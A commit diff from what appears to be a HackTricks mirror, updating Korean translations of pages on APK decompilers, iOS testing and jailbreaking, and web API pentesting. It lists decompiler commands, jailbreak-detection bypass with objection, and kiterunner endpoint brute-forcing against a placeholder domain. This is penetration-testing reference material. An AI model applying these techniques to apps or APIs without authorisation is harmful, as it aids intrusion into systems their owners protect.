Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-21 20:23:18 +00:00
Code Issues Projects Releases Packages Wiki Activity

Translated ['mobile-pentesting/android-app-pentesting/apk-decompilers.md

Browse source
This commit is contained in:
Translator 2024-11-05 18:08:47 +00:00
parent 4f5dd51776
commit ac25cfb7bb
5 changed files with 198 additions and 153 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

44
mobile-pentesting/android-app-pentesting/apk-decompilers.md
View file

@ -1,8 +1,8 @@
# APK 디컴파일러
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS 해킹 배우기 및 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -14,9 +14,8 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
</details>
{% endhint %}
{% endhint %}
**각 도구에 대한 자세한 내용은 [https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)에서 원본 게시물을 확인하세요.**
**각 도구에 대한 자세한 내용은** [**https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr**](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr) **원본 게시물을 확인하세요.**
### [JD-Gui](https://github.com/java-decompiler/jd-gui)
@ -26,9 +25,9 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
**Jadx**는 안드로이드 애플리케이션의 자바 코드를 디컴파일하기 위한 사용자 친화적인 인터페이스를 제공합니다. 다양한 플랫폼에서 사용하기 쉬워 추천됩니다.
- GUI를 실행하려면 bin 디렉토리로 이동하여 다음을 실행합니다: `jadx-gui`
- 명령줄 사용을 위해 APK를 디컴파일하려면: `jadx app.apk`
- 출력 디렉토리를 지정하거나 디컴파일 옵션을 조정하려면: `jadx app.apk -d <path to output dir> --no-res --no-src --no-imports`
* GUI를 실행하려면 bin 디렉토리로 이동하여 다음을 실행합니다: `jadx-gui`
* 명령줄 사용을 위해 APK를 디컴파일하려면: `jadx app.apk`
* 출력 디렉토리를 지정하거나 디컴파일 옵션을 조정하려면: `jadx app.apk -d <출력 디렉토리 경로> --no-res --no-src --no-imports`
### [GDA-android-reversing-Tool](https://github.com/charles2gan/GDA-android-reversing-Tool)
@ -40,39 +39,42 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
### [Enjarify](https://github.com/Storyyeller/enjarify)
**Enjarify**는 Dalvik 바이트코드를 자바 바이트코드로 변환하여 자바 분석 도구가 안드로이드 애플리케이션을 더 효과적으로 분석할 수 있도록 합니다.
**Enjarify**는 Dalvik 바이트코드를 자바 바이트코드로 변환하여 자바 분석 도구가 안드로이드 애플리케이션을 더 효과적으로 분석할 수 있게 해줍니다.
- Enjarify를 사용하려면 다음을 실행합니다: `enjarify app.apk`
이 명령은 제공된 APK의 자바 바이트코드 동등물을 생성합니다.
* Enjarify를 사용하려면: `enjarify app.apk`를 실행합니다. 이는 제공된 APK의 자바 바이트코드 동등물을 생성합니다.
### [CFR](https://github.com/leibnitz27/cfr)
**CFR**은 최신 자바 기능을 디컴파일할 수 있습니다. 다음과 같이 사용하세요:
**CFR**은 현대 자바 기능을 디컴파일할 수 있습니다. 다음과 같이 사용하세요:
- 표준 디컴파일을 위해: `java -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
- 큰 JAR 파일의 경우 JVM 메모리 할당을 조정합니다: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
* 표준 디컴파일을 위해: `java -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
* 큰 JAR 파일의 경우, JVM 메모리 할당을 조정합니다: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
### [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine)
**Fernflower**는 분석 디컴파일러로, 소스에서 빌드해야 합니다. 빌드 후:
- JAR 파일을 디컴파일합니다: `java -jar ./fernflower.jar "app.jar" "output_directory"`
그런 다음 생성된 JAR에서 `.java` 파일을 `unzip`을 사용하여 추출합니다.
* JAR 파일을 디컴파일합니다: `java -jar ./fernflower.jar "app.jar" "output_directory"` 그런 다음, 생성된 JAR에서 `.java` 파일을 `unzip`을 사용하여 추출합니다.
### [Krakatau](https://github.com/Storyyeller/Krakatau)
**Krakatau**는 외부 라이브러리를 처리하는 데 특히 디컴파일에 대한 세부적인 제어를 제공합니다.
**Krakatau**는 디컴파일에 대한 세부적인 제어를 제공하며, 특히 외부 라이브러리를 처리하는 데 유용합니다.
- 표준 라이브러리 경로와 디컴파일할 JAR 파일을 지정하여 Krakatau를 사용합니다: `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
* Krakatau를 사용하려면 표준 라이브러리 경로와 디컴파일할 JAR 파일을 지정합니다: `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
### [procyon](https://github.com/mstrobel/procyon)
**procyon**을 사용하여 간단한 디컴파일을 수행합니다:
- JAR 파일을 지정된 디렉토리로 디컴파일합니다: `procyon -jar "app.jar" -o "output_directory"`
* JAR 파일을 지정된 디렉토리로 디컴파일합니다: `procyon -jar "app.jar" -o "output_directory"`
### [frida-DEXdump](https://github.com/hluwa/frida-dexdump)
이 도구는 메모리에서 실행 중인 APK의 DEX를 덤프하는 데 사용될 수 있습니다. 이는 애플리케이션이 메모리에서 실행될 때 제거되는 정적 난독화를 우회하는 데 도움이 됩니다.
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS 해킹 배우기 및 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -84,5 +86,3 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
</details>
{% endhint %}
</details>
{% endhint %}

56
mobile-pentesting/ios-pentesting/ios-testing-environment.md
View file

@ -1,8 +1,8 @@
# iOS Testing Environment
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -14,14 +14,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
{% endhint %}
## Apple Developer Program
**프로비저닝 아이덴티티**는 Apple 개발자 계정과 연결된 공개 및 개인 키의 모음입니다. **앱 서명**을 하려면 **99$/년**을 지불하고 **Apple Developer Program**에 등록하여 프로비저닝 아이덴티티를 받아야 합니다. 이를 하지 않으면 물리적 장치에서 소스 코드로부터 애플리케이션을 실행할 수 없습니다. 이를 수행하는 또 다른 방법은 **탈옥된 장치**를 사용하는 것입니다.
**프로비저닝 아이덴티티**는 Apple 개발자 계정과 연결된 공개 및 개인 키의 모음입니다. **앱 서명**을 하려면 **99$/년**을 지불하고 **Apple Developer Program**에 등록하여 프로비저닝 아이덴티티를 받아야 합니다. 이를 통해 소스 코드에서 실제 장치에서 애플리케이션을 실행할 수 있습니다. 또 다른 방법은 **탈옥된 장치**를 사용하는 것입니다.
Xcode 7.2부터 Apple은 실제 iPhone에서 애플리케이션을 작성하고 테스트할 수 있는 **무료 iOS 개발 프로비저닝 프로필**을 생성할 수 있는 옵션을 제공했습니다. _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (자격 증명으로 새 Appli ID 추가) --> _생성된 Apple ID 클릭_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Done_\
\_\_그런 다음, iPhone에서 애플리케이션을 실행하려면 먼저 **iPhone이 컴퓨터를 신뢰하도록 지정해야 합니다.** 그런 다음, **Xcode에서 모바일에서 애플리케이션을 실행해 보려고 하면** 오류가 발생합니다. 따라서 _Settings_ --> _General_ --> _Profiles and Device Management_ --> 신뢰할 수 없는 프로필을 선택하고 "**Trust**"를 클릭합니다.
\_\_그런 다음 iPhone에서 애플리케이션을 실행하려면 먼저 **iPhone이 컴퓨터를 신뢰하도록 지정해야 합니다.** 그런 다음 **Xcode에서 모바일에서 애플리케이션을 실행해 보지만 오류가 발생할 것입니다.** 그러므로 _Settings_ --> _General_ --> _Profiles and Device Management_ --> 신뢰할 수 없는 프로필을 선택하고 "**Trust**"를 클릭합니다.
**같은 서명 인증서로 서명된 애플리케이션은 키체인 항목과 같은 리소스를 안전하게 공유할 수 있습니다.**
@ -52,7 +51,7 @@ Apple의 사실상 도구는 iOS 애플리케이션을 생성/디버깅/계측
### Applications in the Simulator
`/Users/<username>/Library/Developer/CoreSimulator/Devices` 내부에서 **설치된 시뮬레이터**를 모두 찾을 수 있습니다. 에뮬레이터 중 하나에서 생성된 애플리케이션의 파일에 접근하려면 **어느 에뮬레이터에 앱이 설치되었는지 아는 것이 어려울 수 있습니다.** 올바른 UID를 **찾는 빠른 방법**은 시뮬레이터에서 앱을 실행하고 다음을 실행하는 것입니다:
`/Users/<username>/Library/Developer/CoreSimulator/Devices` 내부에서 **설치된 시뮬레이터**를 모두 찾을 수 있습니다. 에뮬레이터 중 하나에서 생성된 애플리케이션의 파일에 접근하려면 **어느 것에 앱이 설치되었는지 아는 것이 어려울 수 있습니다.** 올바른 UID를 **찾는 빠른 방법**은 시뮬레이터에서 앱을 실행하고 다음을 실행하는 것입니다:
```bash
xcrun simctl list | grep Booted
iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
@ -67,46 +66,50 @@ Once you know the UID the apps installed within it can be found in `/Users/<user
Corellium은 공개적으로 사용 가능한 유일한 iOS 에뮬레이터입니다. 이는 사용자당 라이선스 모델을 가진 기업 SaaS 솔루션이며, 시험 라이선스를 제공하지 않습니다.
## Jailbeaking
## No Jailbreak needed
Apple은 iPhone에서 실행되는 코드가 **Apple이 발급한 인증서로 서명되어야 한다고 엄격히 요구합니다.** **Jailbreaking**은 OS에 의해 설정된 그러한 제한 및 기타 보안 통제를 **우회하는 과정**입니다. 따라서 장치가 탈옥되면 앱 설치를 확인하는 **무결성 검사**가 패치되어 **우회됩니다.**
**탈옥되지 않은 장치**에서 iOS 애플리케이션을 테스트하는 방법에 대한 블로그 게시물을 확인하세요: [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
## Jailbreaking
Apple은 iPhone에서 실행되는 코드가 **Apple이 발급한 인증서로 서명되어야 한다고 엄격히 요구합니다**. **탈옥**은 OS에 의해 설정된 **제한 및 기타 보안 제어를 우회하는 과정**입니다. 따라서 장치가 탈옥되면 애플리케이션 설치를 확인하는 **무결성 검사**가 패치되어 **우회됩니다**.
{% hint style="info" %}
Android와 달리, **iOS에서는 "개발자 모드"로 전환하여 장치에서 서명되지 않거나 신뢰할 수 없는 코드를 실행할 수 없습니다.**
Android와 달리, **iOS에서는 "개발자 모드"로 전환하여 서명되지 않거나 신뢰할 수 없는 코드를 실행할 수 없습니다.**
{% endhint %}
### Android Rooting vs. iOS Jailbreaking
종종 비교되지만, Android의 **rooting**과 iOS의 **jailbreaking**은 근본적으로 다른 과정입니다. Android 장치의 루팅은 **`su` 바이너리 설치** 또는 **루팅된 커스텀 ROM으로 시스템 교체**를 포함할 수 있으며, 부트로더가 잠금 해제된 경우 반드시 익스플로잇이 필요하지는 않습니다. **커스텀 ROM 플래싱**은 부트로더를 잠금 해제한 후 장치의 OS를 교체하며, 때때로 익스플로잇이 필요합니다.
종종 비교되지만, Android의 **루팅**과 iOS의 **탈옥**은 근본적으로 다른 과정입니다. Android 장치의 루팅은 **`su` 바이너리 설치** 또는 **루팅된 커스텀 ROM으로 시스템 교체**를 포함할 수 있으며, 부트로더가 잠금 해제된 경우 반드시 익스플로잇이 필요하지는 않습니다. **커스텀 ROM 플래싱**은 부트로더를 잠금 해제한 후 장치의 OS를 교체하며, 때때로 익스플로잇이 필요합니다.
반면, iOS 장치는 부트로더가 Apple 서명 이미지만 부팅하도록 제한되어 있어 커스텀 ROM을 플래시할 수 없습니다. **iOS 탈옥**은 서명되지 않은 코드를 실행하기 위해 Apple의 코드 서명 보호를 우회하는 것을 목표로 하며, 이는 Apple의 지속적인 보안 강화로 인해 복잡해집니다.
### Jailbreaking Challenges
iOS의 탈옥은 Apple이 취약점을 신속하게 패치함에 따라 점점 더 어려워지고 있습니다. **iOS 다운그레이드**는 릴리스 후 제한된 시간 동안만 가능하므로 탈옥은 시간에 민감한 문제입니다. 보안 테스트에 사용되는 장치는 재탈옥이 보장되지 않는 한 업데이트하지 않아야 합니다.
Apple이 취약점을 신속하게 패치함에 따라 iOS 탈옥은 점점 더 어려워지고 있습니다. **iOS 다운그레이드**는 릴리스 후 제한된 시간 동안만 가능하여 탈옥은 시간에 민감한 문제입니다. 보안 테스트에 사용되는 장치는 재탈옥이 보장되지 않는 한 업데이트하지 않아야 합니다.
iOS 업데이트는 **챌린지-응답 메커니즘**(SHSH blobs)에 의해 제어되며, Apple 서명 응답에 대해서만 설치를 허용합니다. 이 메커니즘은 "서명 창"으로 알려져 있으며, OTA 펌웨어 패키지를 저장하고 나중에 사용할 수 있는 능력을 제한합니다. [IPSW Downloads 웹사이트](https://ipsw.me)는 현재 서명 창을 확인할 수 있는 리소스입니다.
iOS 업데이트는 **챌린지-응답 메커니즘**(SHSH 블롭)을 통해 제어되며, Apple 서명 응답에 대해서만 설치를 허용합니다. 이 메커니즘은 "서명 창"으로 알려져 있으며, OTA 펌웨어 패키지를 저장하고 나중에 사용할 수 있는 능력을 제한합니다. [IPSW Downloads 웹사이트](https://ipsw.me)는 현재 서명 창을 확인할 수 있는 리소스입니다.
### Jailbreak Varieties
* **Tethered jailbreaks**는 각 재부팅 시 컴퓨터 연결이 필요합니다.
* **Semi-tethered jailbreaks**는 컴퓨터 없이 비탈옥 모드로 부팅할 수 있습니다.
* **Semi-untethered jailbreaks**는 컴퓨터 없이 수동으로 재탈옥해야 합니다.
* **Untethered jailbreaks**는 재적용 없이 영구적인 탈옥 솔루션을 제공합니다.
* **테더드 탈옥**은 각 재부팅 시 컴퓨터 연결이 필요합니다.
* **세미 테더드 탈옥**은 컴퓨터 없이 비탈옥 모드로 부팅할 수 있습니다.
* **세미 언테더드 탈옥**은 컴퓨터 없이 수동으로 재탈옥이 필요합니다.
* **언테더드 탈옥**은 재적용 없이 영구적인 탈옥 솔루션을 제공합니다.
### Jailbreaking Tools and Resources
탈옥 도구는 iOS 버전 및 장치에 따라 다릅니다. [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com), [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/)와 같은 리소스는 최신 정보를 제공합니다. 예시로는:
* A7-A11 칩 장치를 위한 [Checkra1n](https://checkra.in/)
* iOS 15.0-16.5에서 Checkm8 장치를 위한 [Palera1n](https://palera.in/)
* iOS 14.8까지의 버전을 위한 [Unc0ver](https://unc0ver.dev/)
* A7-A11 칩 장치용 [Checkra1n](https://checkra.in/)
* iOS 15.0-16.5에서 Checkm8 장치(A8-A11)용 [Palera1n](https://palera.in/)
* iOS 14.8까지의 버전용 [Unc0ver](https://unc0ver.dev/)가 있습니다.
장치를 수정하는 것은 위험을 동반하며, 탈옥은 주의해서 접근해야 합니다.
### Jailbreaking Benefits and Risks
탈옥은 **OS가 부과한 샌드박스를 제거하여** 앱이 전체 파일 시스템에 접근할 수 있도록 합니다. 이 자유는 승인되지 않은 앱을 설치하고 더 많은 API에 접근할 수 있게 합니다. 그러나 일반 사용자에게는 잠재적인 보안 위험과 장치 불안정성으로 인해 탈옥이 **권장되지 않습니다.**
탈옥은 **OS가 부과한 샌드박스를 제거하여** 앱이 전체 파일 시스템에 접근할 수 있게 합니다. 이 자유는 승인되지 않은 앱을 설치하고 더 많은 API에 접근할 수 있게 합니다. 그러나 일반 사용자에게는 잠재적인 보안 위험과 장치 불안정성으로 인해 탈옥이 **권장되지 않습니다**.
### **After Jailbreaking**
@ -118,13 +121,13 @@ iOS 업데이트는 **챌린지-응답 메커니즘**(SHSH blobs)에 의해 제
**여러 애플리케이션이 모바일이 탈옥되었는지 감지하려고 시도하며, 이 경우 애플리케이션이 실행되지 않습니다.**
* iOS를 탈옥한 후 **파일과 폴더가 일반적으로 설치되며**, 이를 검색하여 장치가 탈옥되었는지 확인할 수 있습니다.
* 탈옥된 장치에서는 애플리케이션이 샌드박스 외부의 **새 파일에 대한 읽기/쓰기 접근 권한**을 얻습니다.
* iOS 탈옥 후 **파일과 폴더가 일반적으로 설치되며**, 이를 검색하여 장치가 탈옥되었는지 확인할 수 있습니다.
* 탈옥된 장치에서는 애플리케이션이 샌드박스 외부의 **새 파일에 대한 읽기/쓰기 접근 권한을 갖습니다.**
* 일부 **API** **호출**은 **다르게 동작합니다.**
* **OpenSSH** 서비스의 존재
* `/bin/sh`를 호출하면 **0 대신 1을 반환합니다.**
**탈옥 감지 방법에 대한 더 많은 정보는** [**여기**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**에서 확인할 수 있습니다.**
**탈옥 감지 방법에 대한 더 많은 정보는** [**여기**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**에서 확인하세요.**
**objection의** `ios jailbreak disable`을 사용하여 이러한 감지를 피할 수 있습니다.
@ -136,9 +139,10 @@ iOS 업데이트는 **챌린지-응답 메커니즘**(SHSH blobs)에 의해 제
## References
* [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -150,5 +154,3 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
</details>
{% endhint %}

33
network-services-pentesting/pentesting-web/web-api-pentesting.md
View file

@ -1,8 +1,8 @@
# Web API Pentesting
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -41,12 +41,12 @@ Pentesting APIs involves a structured approach to uncovering vulnerabilities. Th
* **SOAP/XML Vulnerabilities**: XXE 취약점을 탐색하되, DTD 선언은 종종 제한됩니다. XML이 유효한 경우 CDATA 태그를 통해 페이로드 삽입이 가능할 수 있습니다.
* **Privilege Escalation**: 다양한 권한 수준으로 엔드포인트를 테스트하여 무단 접근 가능성을 식별합니다.
* **CORS Misconfigurations**: 인증된 세션에서 CSRF 공격을 통해 잠재적인 악용 가능성을 조사합니다.
* **Endpoint Discovery**: API 패턴을 활용하여 숨겨진 엔드포인트를 발견합니다. 퍼저와 같은 도구는 이 과정을 자동화할 수 있습니다.
* **Endpoint Discovery**: API 패턴을 활용하여 숨겨진 엔드포인트를 발견합니다. 퍼저와 같은 도구는 이 프로세스를 자동화할 수 있습니다.
* **Parameter Tampering**: 요청에서 매개변수를 추가하거나 교체하여 무단 데이터 또는 기능에 접근을 시도합니다.
* **HTTP Method Testing**: 요청 방법(GET, POST, PUT, DELETE, PATCH)을 변경하여 예상치 못한 동작이나 정보 유출을 발견합니다.
* **Content-Type Manipulation**: 서로 다른 콘텐츠 유형(x-www-form-urlencoded, application/xml, application/json) 간에 전환하여 파싱 문제나 취약점을 테스트합니다.
* **Advanced Parameter Techniques**: JSON 페이로드에서 예상치 못한 데이터 유형으로 테스트하거나 XML 데이터로 XXE 주입을 시도합니다. 또한, 매개변수 오염 및 와일드카드 문자를 사용하여 더 넓은 테스트를 시도합니다.
* **Version Testing**: 이전 API 버전은 공격에 더 취약할 수 있습니다. 항상 여러 API 버전을 확인하고 테스트합니다.
* **Version Testing**: 이전 API 버전은 공격에 더 취약할 수 있습니다. 항상 여러 API 버전에 대해 확인하고 테스트합니다.
### **Tools and Resources for API Pentesting**
@ -57,38 +57,39 @@ kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
```
* **automatic-api-attack-tool**, **Astra**, 및 **restler-fuzzer**와 같은 추가 도구는 공격 시뮬레이션에서 퍼징 및 취약점 스캐닝에 이르기까지 API 보안 테스트를 위한 맞춤형 기능을 제공합니다.
* [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj는 약한 인증을 확인하기 위해 관련 API 엔드포인트를 검사하여 **노출된 Swagger/OpenAPI 정의 파일**의 감사를 지원하도록 설계된 명령줄 도구입니다. 또한 수동 취약성 테스트를 위한 명령 템플릿을 제공합니다.
* **automatic-api-attack-tool**, **Astra**, **restler-fuzzer**와 같은 추가 도구는 공격 시뮬레이션에서 퍼징 및 취약성 스캐닝에 이르기까지 API 보안 테스트를 위한 맞춤형 기능을 제공합니다.
* [**Cherrybomb**](https://github.com/blst-security/cherrybomb): OAS 파일을 기반으로 API를 감사하는 API 보안 도구입니다(이 도구는 Rust로 작성됨).
### **학습 및 연습 자료**
* **OWASP API Security Top 10**: 일반적인 API 취약점을 이해하기 위한 필수 읽기 자료 ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
* **API Security Checklist**: API 보안을 위한 포괄적인 체크리스트 ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
* **Logger++ Filters**: API 취약점을 탐색하기 위해 Logger++는 유용한 필터를 제공합니다 ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
* **API Endpoints List**: 테스트 목적으로 잠재적인 API 엔드포인트의 선별된 목록 ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
* **OWASP API 보안 Top 10**: 일반적인 API 취약성을 이해하기 위한 필수 읽기 ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
* **API 보안 체크리스트**: API 보안을 위한 포괄적인 체크리스트 ([GitHub 링크](https://github.com/shieldfy/API-Security-Checklist)).
* **Logger++ 필터**: API 취약성을 탐지하기 위해 Logger++는 유용한 필터를 제공합니다 ([GitHub 링크](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
* **API 엔드포인트 목록**: 테스트 목적으로 사용할 수 있는 잠재적인 API 엔드포인트의 선별된 목록 ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
## References
## 참고 문헌
* [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire)
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=web-api-pentesting)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
오늘 액세스하세요:
오늘 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=web-api-pentesting" %}
{% hint style="success" %}
AWS 해킹 학습 및 연습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 학습 및 연습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS 해킹 학습 및 연습:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 학습 및 연습: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**구독 계획**](https://github.com/sponsors/carlospolop)을 확인하세요!
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
